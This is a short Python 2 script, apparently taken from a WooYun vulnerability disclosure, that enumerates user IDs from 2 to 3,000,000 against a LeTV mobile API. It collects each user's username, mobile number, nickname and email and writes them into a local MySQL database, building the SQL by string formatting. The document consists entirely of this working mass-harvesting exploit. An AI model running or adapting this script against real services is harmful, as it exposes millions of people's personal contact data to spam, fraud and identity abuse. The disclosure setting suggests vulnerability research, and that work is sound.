WooYun.org

#-*- coding: utf-8 -*-
#!/usr/bin/python
__author__ = 'alchuan'
import sys
import json
import urllib2
import MySQLdb
reload(sys)
sys.setdefaultencoding('utf-8')
def getcontent(uid):
    id = bytes(uid)
    url = 'http://dynamic.app.m.letv.com/android/dynamic.php?mod=passport&ctl=index&act=getUserByID&uid='+id+'&pcode=010210000&version=5.0'
    req = urllib2.Request(url)
    response = urllib2.urlopen(req)
    respHtml = response.read()
    response.close()
    return chulijson(respHtml)
def chulijson(data):
    ddata = json.loads(data)
    for a in ddata.keys():
        if (a == 'bean'):
            dirc = ddata['bean']
            #print dirc
            if dirc:
                if (dirc['username'] != ''):
                    sql = "INSERT INTO `leshi_com` (uid, username, mobile, nickname, email) VALUES ('%s', '%s', '%s', '%s', '%s')" % (dirc['uid'], dirc['username'], dirc['mobile'], dirc['nickname'], dirc['email'])
                    #print sql
                    adddata(sql)
                else:
                    pass
            else:
                pass
        else:
            pass
def adddata(sql):
    db = MySQLdb.connect('localhost', 'root', '', '****')
    cursor = db.cursor()
    try:
        cursor.execute(sql)
        db.commit()
    except:
        db.rollback()
    db.close()
#getcontent(1102594)
for x in range(2, 3000000):
    getcontent(x)
else:
    print "end"